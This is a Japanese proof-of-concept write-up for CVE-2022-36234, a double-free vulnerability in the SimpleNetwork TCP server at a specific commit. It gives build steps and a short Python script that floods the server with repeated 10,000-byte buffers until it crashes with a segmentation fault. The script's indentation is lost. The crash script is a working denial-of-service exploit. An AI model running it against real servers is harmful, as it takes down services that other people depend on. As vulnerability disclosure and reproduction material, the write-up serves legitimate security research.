
CVE-2022-36234 の概念実証
SimpleNetwork TCP Server のコミット 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 には、細工された TCP パケットを介して悪用される二重解放の脆弱性が含まれていることが判明しました。二重解放を誘発することで、クライアントは任意の SimpleNetwork TCP サーバーをリモートでクラッシュさせることができます。また、他の状況では、二重解放の脆弱性は未定義の動作を引き起こし、状況によってはコード実行につながる可能性があります。
ライブラリのコンパイルに必要な標準ビルドツールを確実に用意するため、以下のパッケージをインストールしてください (ほとんどのシステムでは既にインストールされています):
sudo apt-get install build-essential git
この脆弱性は、TCP パケット内に大量の文字バッファを含む連続的なリクエストをサーバーに送信することで再現できます。まず、ソースコードに含まれる 'libSimpleNetwork' ライブラリとサンプルサーバーをコンパイルします:
git clone https://github.com/kashimAstro/SimpleNetwork.git
cd SimpleNetwork
git checkout 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496
cd src
make
cd ../example-server
make
./server 80 1
import socket
host = "localhost"
port = 80 # The same port as used by the server
buf = b'A'*10000
try:
for i in range(50):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
python3 poc.py
成功すると、サーバーはクラッシュし、アプリケーションから以下の出力が表示されます:
segmentation fault ./server 80 1